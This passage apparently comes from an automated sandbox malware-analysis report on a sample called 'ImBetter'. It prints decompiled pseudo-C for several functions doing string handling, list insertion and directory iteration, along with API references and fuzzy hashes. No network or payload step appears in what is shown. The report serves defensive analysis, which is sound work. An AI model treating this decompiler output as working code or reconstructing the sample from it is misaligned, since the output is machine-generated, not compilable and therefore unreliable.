				 *((long long*)( *((intOrPtr*)(__rcx + 0x38)))) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x38)))) + 1;
				goto 0xe6b0d5a6;
				if ( *((long long*)(__rcx + 0x80)) != 0) goto 0xe6b0d3c7;
				goto 0xe6b0d5a6;
				_t179 =  *((intOrPtr*)(__rcx + 0x18));
				if ( *_t179 != __rcx + 0x70) goto 0xe6b0d3f4;
				_t136 =  *((intOrPtr*)(__rcx + 0x88));
				 *_t179 = _t136;
				 *((long long*)( *((intOrPtr*)(__rcx + 0x38)))) = _t136;
				 *( *((intOrPtr*)(__rcx + 0x50))) = __edx - __ecx;
				if ( *((long long*)(__rcx + 0x68)) != 0) goto 0xe6b0d41d; // executed
				_t74 = E00007FF77FF7E6B288D4( *((intOrPtr*)(__rcx + 0x50)), __rbx,  *((intOrPtr*)(__rcx + 0x80)), _t188); // executed
				if (_t74 == 0xffffffff) goto 0xe6b0d5a4;
				goto 0xe6b0d5a4;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp+0x17], xmm0");
				 *((long long*)(_t173 + 0x27)) = 0;
				 *((long long*)(_t173 + 0x2f)) = 0xf;
				 *((char*)(_t173 + 0x17)) = 0;
				_t75 = E00007FF77FF7E6B288D4( *((intOrPtr*)(__rcx + 0x50)), _t131,  *((intOrPtr*)(__rcx + 0x80)), _t165);
				r8d = _t75;
				if (_t75 == 0xffffffff) goto 0xe6b0d564;
				_t138 =  *((intOrPtr*)(_t173 + 0x27));
				if (_t138 -  *((intOrPtr*)(_t173 + 0x2f)) >= 0) goto 0xe6b0d47d;
				 *((long long*)(_t173 + 0x27)) = _t138 + 1;
				_t122 =  >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				 *(_t122 + _t138) = r8b;
				 *((char*)(_t122 + _t138 + 1)) = 0;
				goto 0xe6b0d493;
				r9d = r8b & 0xffffffff;
				r8d =  *(_t173 - 9) & 0xff;
				E00007FF77FF7E6B0AB40(_t173 + 0x17,  *((intOrPtr*)(_t173 + 0x2f)), _t165, _t187);
				r10b =  *((long long*)(_t173 + 0x2f)) - 0x10 >= 0;
				_t159 =  >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				_t184 =  *((intOrPtr*)(_t173 + 0x27)) + ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17);
				_t181 =  !=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				 *((long long*)(_t176 + 0x38)) = _t173 + 7;
				 *((long long*)(_t176 + 0x30)) = _t173 + 0x10;
				 *((long long*)(_t176 + 0x28)) = _t173 + 0xf;
				 *((long long*)(_t176 + 0x20)) = _t173 - 1;
				_t102 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t170 + 0x68)))) + 0x30))();
				if (_t102 == 0) goto 0xe6b0d4fa;
				if (_t102 != 0) goto 0xe6b0d5ca;
				if ( *((intOrPtr*)(_t173 + 7)) != _t173 + 0xf) goto 0xe6b0d5e2;
				r8b =  *((long long*)(_t173 + 0x2f)) - 0x10 >= 0;
				_t146 =  >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				_t126 =  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17);
				_t166 =  *((intOrPtr*)(_t173 + 0x27));
				_t127 =  <  ? _t166 :  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17);
				_t148 =  !=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17;
				_t167 = _t166 - ( <  ? _t166 :  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17));
				E00007FF77FF7E6B3F010();
				 *((long long*)(_t173 + 0x27)) = _t166 - ( <  ? _t166 :  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17));
				_t79 = E00007FF77FF7E6B288D4( <  ? _t166 :  *((intOrPtr*)(_t173 - 1)) - ( >=  ?  *((void*)(_t173 + 0x17)) : _t173 + 0x17), _t131,  *((intOrPtr*)(_t170 + 0x80)), _t172);
				r8d = _t79;
				if (_t79 != 0xffffffff) goto 0xe6b0d450;
				_t162 =  *((intOrPtr*)(_t173 + 0x2f));
				if (_t162 - 0x10 < 0) goto 0xe6b0d5a4;
				if (_t162 + 1 - 0x1000 < 0) goto 0xe6b0d59f;
				if ( *((intOrPtr*)(_t173 + 0x17)) -  *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x17)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0d637;
				E00007FF77FF7E6B3CAF0(1,  *((intOrPtr*)( *((intOrPtr*)(_t173 + 0x17)) - 8)));
				return E00007FF77FF7E6B3C7F0(0xffffffff, __ecx,  *(_t173 + 0x37) ^ _t176);
			}

0x7ff7e6b0d350
0x7ff7e6b0d350
0x7ff7e6b0d355
0x7ff7e6b0d35e
0x7ff7e6b0d363
0x7ff7e6b0d36a
0x7ff7e6b0d374
0x7ff7e6b0d378
0x7ff7e6b0d37f
0x7ff7e6b0d385
0x7ff7e6b0d387
0x7ff7e6b0d38b
0x7ff7e6b0d395
0x7ff7e6b0d39b
0x7ff7e6b0d3a8
0x7ff7e6b0d3ae
0x7ff7e6b0d3bb
0x7ff7e6b0d3c2
0x7ff7e6b0d3c7
0x7ff7e6b0d3d2
0x7ff7e6b0d3db
0x7ff7e6b0d3e2
0x7ff7e6b0d3e9
0x7ff7e6b0d3f2
0x7ff7e6b0d400
0x7ff7e6b0d402
0x7ff7e6b0d40f
0x7ff7e6b0d418
0x7ff7e6b0d41d
0x7ff7e6b0d420
0x7ff7e6b0d424
0x7ff7e6b0d42c
0x7ff7e6b0d434
0x7ff7e6b0d438
0x7ff7e6b0d43d
0x7ff7e6b0d443
0x7ff7e6b0d450
0x7ff7e6b0d45b
0x7ff7e6b0d461
0x7ff7e6b0d46d
0x7ff7e6b0d472
0x7ff7e6b0d476
0x7ff7e6b0d47b
0x7ff7e6b0d47d
0x7ff7e6b0d481
0x7ff7e6b0d48e
0x7ff7e6b0d4a0
0x7ff7e6b0d4a4
0x7ff7e6b0d4ad
0x7ff7e6b0d4b7
0x7ff7e6b0d4c3
0x7ff7e6b0d4cc
0x7ff7e6b0d4d5
0x7ff7e6b0d4de
0x7ff7e6b0d4ed
0x7ff7e6b0d4ef
0x7ff7e6b0d4f4
0x7ff7e6b0d502
0x7ff7e6b0d511
0x7ff7e6b0d515
0x7ff7e6b0d51e
0x7ff7e6b0d521
0x7ff7e6b0d528
0x7ff7e6b0d533
0x7ff7e6b0d538
0x7ff7e6b0d543
0x7ff7e6b0d548
0x7ff7e6b0d553
0x7ff7e6b0d558
0x7ff7e6b0d55e
0x7ff7e6b0d569
0x7ff7e6b0d571
0x7ff7e6b0d584
0x7ff7e6b0d599
0x7ff7e6b0d59f
0x7ff7e6b0d5c9

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0D637

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 4f6674e9713859f51bb05419ce7b57af564deecb75f17d5477439d74bc7acddc
Instruction ID: fa755f7eb72d1c76ea43657592aead7367dc543e59f1cefb5addcd330c7cd66d
Opcode Fuzzy Hash: 4f6674e9713859f51bb05419ce7b57af564deecb75f17d5477439d74bc7acddc
Instruction Fuzzy Hash: D0A18C32724A41C9DB60EF29D4903AEB7A1FB48B58FA45632EB5D43B99DF38D454C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B1E190 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00007FF77FF7E6B1E190(long long __rax, long long __rbx, intOrPtr* __rcx, long long __rbp, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* __rsi;
				void* __r14;
				void* _t72;
				intOrPtr _t80;
				void* _t86;
				intOrPtr _t92;
				long long _t107;
				intOrPtr _t113;
				intOrPtr* _t117;
				long long _t120;
				long long _t123;
				long long _t128;
				intOrPtr* _t131;
				long long _t138;
				long long _t139;
				intOrPtr _t140;
				intOrPtr _t141;
				intOrPtr _t143;
				void* _t144;
				long long _t145;

				_t132 = __rbp;
				_a24 = __rbx;
				_a32 = __rbp;
				_t131 = __rcx;
				_t117 = __rcx + 0x40;
				_a8 = _t117;
				E00007FF77FF7E6B3CAAC(_t86, __rax, __rcx);
				_a16 = __rax;
				asm("xorps xmm0, xmm0");
				asm("movups [edi], xmm0");
				asm("movups [edi+0x10], xmm0");
				 *((long long*)(__rax + 0x20)) = __rax;
				 *((long long*)(__rax + 8)) = 0xd;
				r14d = 0;
				 *((long long*)(__rax + 0x10)) = _t145;
				 *((long long*)(__rax + 0x18)) = _t145;
				 *((long long*)(__rax)) = 0xe6b60ff0;
				 *((intOrPtr*)(__rax + 0x20)) = r14d;
				 *((long long*)(__rax + 0x18)) =  *((intOrPtr*)(_t117 + 8));
				_t120 =  *((intOrPtr*)( *((intOrPtr*)(_t117 + 8)) + 0x10));
				if (_t120 == 0) goto 0xe6b1e216;
				 *((long long*)(__rax + 0x10)) = _t120;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t117 + 8)) + 0x10)) + 0x18)) = __rax;
				 *((long long*)( *((intOrPtr*)(_t117 + 8)) + 0x10)) = __rax;
				 *((long long*)(_t117 + 8)) = __rax;
				E00007FF77FF7E6B1E8F0( *((intOrPtr*)(_t117 + 8)), _t117, _t131, _t131, _t144, _t145); // executed
				_t107 =  *((intOrPtr*)(_t131 + 0x10));
				if ( *_t131 != _t107) goto 0xe6b1e39c;
				if ( *((intOrPtr*)(__rax + 8)) != 8) goto 0xe6b1e244;
				goto 0xe6b1e257;
				_t85 =  >  ? 0xe : 0xc;
				E00007FF77FF7E6B3CAAC( *((intOrPtr*)(__rax + 8)) + 0xfffffff6 - 1, _t107, _t131);
				_t128 = _t107;
				_a16 = _t107;
				asm("xorps xmm0, xmm0");
				asm("movups [eax], xmm0");
				asm("movups [eax+0x10], xmm0");
				 *((intOrPtr*)(_t107 + 8)) =  >  ? 0xe : 0xc;
				 *((intOrPtr*)(_t107 + 0xc)) = r14d;
				 *((long long*)(_t107 + 0x10)) = _t145;
				 *((long long*)(_t107 + 0x18)) = _t145;
				 *_t128 = 0xe6b60fb8;
				 *((long long*)(_t128 + 0x20)) = __rax;
				 *((long long*)(_t128 + 0x18)) =  *((intOrPtr*)(_t117 + 8));
				_t123 =  *((intOrPtr*)( *((intOrPtr*)(_t117 + 8)) + 0x10));
				if (_t123 == 0) goto 0xe6b1e2b5;
				 *((long long*)(_t128 + 0x10)) = _t123;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t117 + 8)) + 0x10)) + 0x18)) = _t128;
				 *((long long*)( *((intOrPtr*)(_t117 + 8)) + 0x10)) = _t128;
				 *((long long*)(_t117 + 8)) = _t128;
				E00007FF77FF7E6B20680(0x15,  *((intOrPtr*)(_t117 + 8)), _t117, _t117);
				_t143 =  *_t117;
				 *((intOrPtr*)(_t143 + 0x20)) =  *((intOrPtr*)(_t131 + 0x70));
				 *((intOrPtr*)(_t143 + 0x28)) =  *((intOrPtr*)(_t131 + 0x18)) + 1;
				_t138 = _t145;
				_t141 = _t143;
				_t92 = _t143;
				if (_t92 == 0) goto 0xe6b1e386;
				if (_t92 == 0) goto 0xe6b1e36b;
				if (_t92 == 0) goto 0xe6b1e36b;
				if (_t92 == 0) goto 0xe6b1e337;
				_t80 =  *((intOrPtr*)(_t141 + 8)) - 2;
				if (_t92 == 0) goto 0xe6b1e323;
				if (_t80 != 1) goto 0xe6b1e379;
				if (_t138 !=  *((intOrPtr*)(_t141 + 0x20))) goto 0xe6b1e379;
				if ( *((intOrPtr*)(_t138 + 0x34)) != 0xffffffff) goto 0xe6b1e31e;
				 *((intOrPtr*)(_t138 + 0x34)) = _t80;
				_t139 = _t145;
				goto 0xe6b1e379;
				if (_t139 == 0) goto 0xe6b1e332;
				 *((intOrPtr*)(_t139 + 0x34)) = r14d;
				 *((intOrPtr*)(_t141 + 0x34)) = r14d;
				goto 0xe6b1e379;
				_t140 = _t141;
				goto 0xe6b1e379;
				if (_t140 == 0) goto 0xe6b1e340;
				 *((intOrPtr*)(_t140 + 0x34)) = r14d;
				_t113 =  *((intOrPtr*)(_t141 + 0x28));
				if (_t113 == 0) goto 0xe6b1e379;
				E00007FF77FF7E6B16120(_t117,  *((intOrPtr*)(_t113 + 0x10)),  *((intOrPtr*)(_t113 + 0x20)), _t131, __rbp, _t140, _t145);
				if ( *((intOrPtr*)(_t113 + 0x28)) != 0) goto 0xe6b1e350;
				goto 0xe6b1e379;
				r8d = 0;
				_t72 = E00007FF77FF7E6B16120(_t117,  *((intOrPtr*)(_t141 + 0x20)),  *((intOrPtr*)(_t113 + 0x20)), _t131, _t132, _t140, _t145);
				if ( *((intOrPtr*)(_t141 + 0x10)) != 0) goto 0xe6b1e2f0;
				return _t72;
			}

0x7ff7e6b1e190
0x7ff7e6b1e190
0x7ff7e6b1e195
0x7ff7e6b1e1a2
0x7ff7e6b1e1a5
0x7ff7e6b1e1a9
0x7ff7e6b1e1b3
0x7ff7e6b1e1bb
0x7ff7e6b1e1c0
0x7ff7e6b1e1c5
0x7ff7e6b1e1c8
0x7ff7e6b1e1cc
0x7ff7e6b1e1d0
0x7ff7e6b1e1d8
0x7ff7e6b1e1db
0x7ff7e6b1e1df
0x7ff7e6b1e1ea
0x7ff7e6b1e1ed
0x7ff7e6b1e1f5
0x7ff7e6b1e1fd
0x7ff7e6b1e204
0x7ff7e6b1e206
0x7ff7e6b1e212
0x7ff7e6b1e21a
0x7ff7e6b1e21e
0x7ff7e6b1e225
0x7ff7e6b1e22a
0x7ff7e6b1e231
0x7ff7e6b1e23d
0x7ff7e6b1e242
0x7ff7e6b1e254
0x7ff7e6b1e25c
0x7ff7e6b1e261
0x7ff7e6b1e264
0x7ff7e6b1e269
0x7ff7e6b1e26c
0x7ff7e6b1e26f
0x7ff7e6b1e273
0x7ff7e6b1e276
0x7ff7e6b1e27a
0x7ff7e6b1e27e
0x7ff7e6b1e289
0x7ff7e6b1e28c
0x7ff7e6b1e294
0x7ff7e6b1e29c
0x7ff7e6b1e2a3
0x7ff7e6b1e2a5
0x7ff7e6b1e2b1
0x7ff7e6b1e2b9
0x7ff7e6b1e2bd
0x7ff7e6b1e2c9
0x7ff7e6b1e2ce
0x7ff7e6b1e2d4
0x7ff7e6b1e2dd
0x7ff7e6b1e2e1
0x7ff7e6b1e2e4
0x7ff7e6b1e2e7
0x7ff7e6b1e2ea
0x7ff7e6b1e2f7
0x7ff7e6b1e2fc
0x7ff7e6b1e301
0x7ff7e6b1e303
0x7ff7e6b1e306
0x7ff7e6b1e30b
0x7ff7e6b1e311
0x7ff7e6b1e318
0x7ff7e6b1e31a
0x7ff7e6b1e31e
0x7ff7e6b1e321
0x7ff7e6b1e326
0x7ff7e6b1e328
0x7ff7e6b1e32c
0x7ff7e6b1e330
0x7ff7e6b1e332
0x7ff7e6b1e335
0x7ff7e6b1e33a
0x7ff7e6b1e33c
0x7ff7e6b1e340
0x7ff7e6b1e347
0x7ff7e6b1e35b
0x7ff7e6b1e367
0x7ff7e6b1e369
0x7ff7e6b1e36b
0x7ff7e6b1e374
0x7ff7e6b1e380
0x7ff7e6b1e39b

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B1E426

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 637b9e4dc21f0ac6224b89c53accc5268f99b43c13c5543f6d1246df8f343689
Instruction ID: 2627f9dc643d40a93abb9f49403fcbce67d40b5590a86ab69cc7515df532ce06
Opcode Fuzzy Hash: 637b9e4dc21f0ac6224b89c53accc5268f99b43c13c5543f6d1246df8f343689
Instruction Fuzzy Hash: 0781F672A15B41C2DB64DF25E84032EB3A1FB88B80F658636DB6C877A4DF38D592C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B14970 Relevance: 1.6, APIs: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00007FF77FF7E6B14970(void* __ecx, void* __esi, void* __eflags, long long __rbx, long long* __rcx, void* __rdx, long long __rbp, void* __r12, void* __r13, void* __r15, long long _a24, long long _a32) {
				void* _v24;
				signed int _v40;
				intOrPtr _v44;
				long long _v48;
				char _v640;
				long long _v648;
				signed long long _v656;
				char _v680;
				long long _v688;
				short _v692;
				long long _v696;
				intOrPtr _t45;
				void* _t59;
				signed long long _t72;
				long long _t74;
				long long _t83;
				intOrPtr* _t84;
				short* _t89;
				signed long long _t101;
				long long _t104;
				void* _t108;
				long long* _t116;

				_t82 = __rbx;
				_t59 = __esi;
				_a24 = __rbx;
				_a32 = __rbp;
				_t109 = _t108 - 0x2c0;
				_t72 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v40 = _t72 ^ _t108 - 0x000002c0;
				_t116 = __rcx;
				E00007FF77FF7E6B09B50(_t72 ^ _t108 - 0x000002c0, __rbx,  &_v680, __rdx);
				_v648 = 0xffffffff;
				_t45 = E00007FF77FF7E6B11D10(__ecx, 0, _t82,  &_v680, __rbp,  &_v648,  &_v640, __r12, __r13, __r15); // executed
				_v692 = 0;
				if (_t45 != 0) goto 0xe6b149d8;
				_v696 = 1;
				goto 0xe6b149e6;
				_v696 = 0;
				if (_t45 == 0x12) goto 0xe6b149e6;
				_v692 = _t45;
				_t74 = _v696;
				_v48 = _t74;
				if (_t45 == 0) goto 0xe6b14ab6;
				E00007FF77FF7E6B3CAAC(_t45, _t74,  &_v680);
				_t104 = _t74;
				_v696 = _t74;
				asm("xorps xmm0, xmm0");
				asm("movups [eax], xmm0");
				 *((intOrPtr*)(_t74 + 8)) = 1;
				 *((intOrPtr*)(_t74 + 0xc)) = 1;
				 *_t104 = 0xe6b5ffd8;
				_t18 = _t104 + 0x10; // 0x10
				_t83 = _t18;
				_v688 = _t83;
				asm("movups [ebx], xmm0");
				asm("movups [ebx+0x10], xmm0");
				_t20 = _t83 + 0x20; // 0x30
				_t89 = _t20;
				 *((long long*)(_t83 + 0x30)) = __rbp;
				 *((long long*)(_t83 + 0x38)) = __rbp;
				asm("movups [ecx], xmm0");
				 *((long long*)(_t89 + 0x10)) = __rbp;
				 *((long long*)(_t89 + 0x18)) = 7;
				 *_t89 = 0;
				_v648 = 0xffffffff;
				 *((long long*)(_t83 + 0x40)) = _v648;
				E00007FF77FF7E6B14860(_t83, _t89,  &_v680);
				0xe6b11e80();
				 *_t116 = _t83;
				_t84 =  *((intOrPtr*)(_t116 + 8));
				 *((long long*)(_t116 + 8)) = _t104;
				if (_t84 == 0) goto 0xe6b14ab6;
				asm("lock xadd [ebx+0x8], eax");
				if (_t59 != 1) goto 0xe6b14ab6;
				 *((intOrPtr*)( *_t84))();
				asm("lock xadd [ebx+0xc], esi");
				if (_t59 != 1) goto 0xe6b14ab6;
				 *((intOrPtr*)( *_t84 + 8))();
				E00007FF77FF7E6B43514(_v648);
				_t101 = _v656;
				if (_t101 - 8 < 0) goto 0xe6b14b05;
				_t94 = _v680;
				if (2 + _t101 * 2 - 0x1000 < 0) goto 0xe6b14b00;
				if (_v680 -  *((intOrPtr*)(_t94 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b14b2f;
				E00007FF77FF7E6B3CAF0(0,  *((intOrPtr*)(_t94 - 8)));
				return E00007FF77FF7E6B3C7F0(_v44, 0x58, _v40 ^ _t109);
			}

0x7ff7e6b14970
0x7ff7e6b14970
0x7ff7e6b14970
0x7ff7e6b14975
0x7ff7e6b1497e
0x7ff7e6b14985
0x7ff7e6b1498f
0x7ff7e6b14997
0x7ff7e6b149a1
0x7ff7e6b149ae
0x7ff7e6b149c4
0x7ff7e6b149c9
0x7ff7e6b149cf
0x7ff7e6b149d1
0x7ff7e6b149d6
0x7ff7e6b149d8
0x7ff7e6b149e0
0x7ff7e6b149e2
0x7ff7e6b149e6
0x7ff7e6b149eb
0x7ff7e6b149f5
0x7ff7e6b14a00
0x7ff7e6b14a05
0x7ff7e6b14a08
0x7ff7e6b14a0d
0x7ff7e6b14a10
0x7ff7e6b14a13
0x7ff7e6b14a1a
0x7ff7e6b14a28
0x7ff7e6b14a2b
0x7ff7e6b14a2b
0x7ff7e6b14a2f
0x7ff7e6b14a34
0x7ff7e6b14a37
0x7ff7e6b14a3b
0x7ff7e6b14a3b
0x7ff7e6b14a3f
0x7ff7e6b14a43
0x7ff7e6b14a47
0x7ff7e6b14a4a
0x7ff7e6b14a4e
0x7ff7e6b14a56
0x7ff7e6b14a5e
0x7ff7e6b14a63
0x7ff7e6b14a6c
0x7ff7e6b14a79
0x7ff7e6b14a7f
0x7ff7e6b14a82
0x7ff7e6b14a86
0x7ff7e6b14a8d
0x7ff7e6b14a91
0x7ff7e6b14a99
0x7ff7e6b14aa1
0x7ff7e6b14aa3
0x7ff7e6b14aab
0x7ff7e6b14ab3
0x7ff7e6b14ac2
0x7ff7e6b14ac7
0x7ff7e6b14ad0
0x7ff7e6b14ada
0x7ff7e6b14ae9
0x7ff7e6b14afe
0x7ff7e6b14b00
0x7ff7e6b14b2e

APIs

Part of subcall function 00007FF7E6B11D10: __std_fs_directory_iterator_open.LIBCPMT ref: 00007FF7E6B11DF2

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B14B2F

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: __std_fs_directory_iterator_open_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1665379365-0
Opcode ID: 25b24785c0eb81a102c42338e1f6c1b742b3b0d5f68322bd1fe6771723c8cd6b
Instruction ID: 08f2abea33fe3b9e2ef3de81ac250fe9bd8e7d4fa7cbbe7cc461802218299fa2
Opcode Fuzzy Hash: 25b24785c0eb81a102c42338e1f6c1b742b3b0d5f68322bd1fe6771723c8cd6b
Instruction Fuzzy Hash: 7C51C672A28B8186E710EF15E84435EB3A1FB84BA4FA54232EB9C07799DF7CD441C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B11CB0 Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00007FF77FF7E6B11CB0(void* __ecx, void* __edx, void* __eflags, void* __rax, long long __rbx, void* __rcx, void* __rbp, void* __r9, void* __r12, void* __r13, void* __r15) {
				char _v152;
				char _v184;
				char _v200;
				char _v216;
				long long _v232;
				void* _v288;
				long long _v296;
				char _v312;
				void* __rdi;
				void* __rsi;
				void* __r14;
				void* _t23;
				void* _t31;
				void* _t33;
				void* _t37;
				void* _t39;
				void* _t53;
				long long _t59;
				intOrPtr* _t66;
				signed long long _t81;
				void* _t86;
				intOrPtr* _t87;
				long long _t91;
				void* _t101;
				void* _t104;

				_t107 = __r15;
				_t101 = __r9;
				_t59 = __rbx;
				_t53 = __rax;
				_t39 = __eflags;
				_t37 = __edx;
				E00007FF77FF7E6B01AB0(_t23, __edx,  &_v200);
				asm("movups xmm0, [eax]");
				asm("movups [esp+0x20], xmm0");
				E00007FF77FF7E6B028C0(_t53,  &_v184, __rcx);
				asm("movups xmm0, [esp+0x20]");
				asm("movaps [esp+0x20], xmm0");
				E00007FF77FF7E6B11C10(__ecx, _t39, _t53,  &_v152,  &_v184);
				_t66 =  &_v152;
				E00007FF77FF7E6B3F9B4(__rbx, _t66, 0xe6b69798, _t91);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_v232 = _t59;
				_push(_t91);
				_t87 = _t66;
				if ( *((long long*)(_t66 + 0x18)) - 8 < 0) goto 0xe6b11d32;
				if ( *((short*)( *_t66 + 0xfffffffffffffffe)) != 0) goto 0xe6b11d40;
				if (0xffffffff == 0) goto 0xe6b11e5c;
				if (0 !=  *((intOrPtr*)(_t87 + 0x10))) goto 0xe6b11e5c;
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x28], xmm0");
				_v296 = 0;
				_v288 = 0;
				r8d = 1;
				E00007FF77FF7E6B02EB0( &_v312, 0xe6b5e5b0, _t87,  &_v216, __r15, _t104);
				E00007FF77FF7E6B11990(0, _t87,  &_v312, __rbp, __r12, __r13,  &_v216, _t107);
				_t81 = _v288;
				if (_t81 - 8 < 0) goto 0xe6b11ddf;
				if (2 + _t81 * 2 - 0x1000 < 0) goto 0xe6b11dda;
				if (_v312 -  *((intOrPtr*)(_v312 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b11e6f;
				E00007FF77FF7E6B3CAF0(_t37,  *((intOrPtr*)(_v312 - 8)));
				if ( *((long long*)(_t87 + 0x18)) - 8 < 0) goto 0xe6b11de9;
				_t31 = E00007FF77FF7E6B43534(_v312 -  *((intOrPtr*)(_v312 - 8)) + 0xfffffff8, _t101,  *_t87,  &_v216, _t91, _t101, _t101, _t86); // executed
				if (_t31 != 0) goto 0xe6b11e3b;
				if (E00007FF77FF7E6B11950(_t101) == 0) goto 0xe6b11e2b;
				asm("o16 nop [eax+eax]");
				_t33 = E00007FF77FF7E6B434F4(); // executed
				if (_t33 != 0) goto 0xe6b11e61;
				if (E00007FF77FF7E6B11950(_t101) != 0) goto 0xe6b11e10;
				return 0;
			}

0x7ff7e6b11cb0
0x7ff7e6b11cb0
0x7ff7e6b11cb0
0x7ff7e6b11cb0
0x7ff7e6b11cb0
0x7ff7e6b11cb0
0x7ff7e6b11cbf
0x7ff7e6b11cc4
0x7ff7e6b11cc7
0x7ff7e6b11cd4
0x7ff7e6b11cda
0x7ff7e6b11cdf
0x7ff7e6b11cf3
0x7ff7e6b11cff
0x7ff7e6b11d04
0x7ff7e6b11d09
0x7ff7e6b11d0a
0x7ff7e6b11d0b
0x7ff7e6b11d0c
0x7ff7e6b11d0d
0x7ff7e6b11d0e
0x7ff7e6b11d0f
0x7ff7e6b11d10
0x7ff7e6b11d15
0x7ff7e6b11d25
0x7ff7e6b11d2d
0x7ff7e6b11d48
0x7ff7e6b11d4d
0x7ff7e6b11d57
0x7ff7e6b11d5d
0x7ff7e6b11d60
0x7ff7e6b11d65
0x7ff7e6b11d6e
0x7ff7e6b11d77
0x7ff7e6b11d89
0x7ff7e6b11d97
0x7ff7e6b11d9d
0x7ff7e6b11da6
0x7ff7e6b11dbf
0x7ff7e6b11dd4
0x7ff7e6b11dda
0x7ff7e6b11de4
0x7ff7e6b11df2
0x7ff7e6b11df9
0x7ff7e6b11e08
0x7ff7e6b11e0a
0x7ff7e6b11e16
0x7ff7e6b11e1d
0x7ff7e6b11e29
0x7ff7e6b11e3a

APIs

Part of subcall function 00007FF7E6B3F9B4: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E6B0132F), ref: 00007FF7E6B3F9F8
Part of subcall function 00007FF7E6B3F9B4: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E6B0132F), ref: 00007FF7E6B3FA3E

__std_fs_directory_iterator_open.LIBCPMT ref: 00007FF7E6B11DF2

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
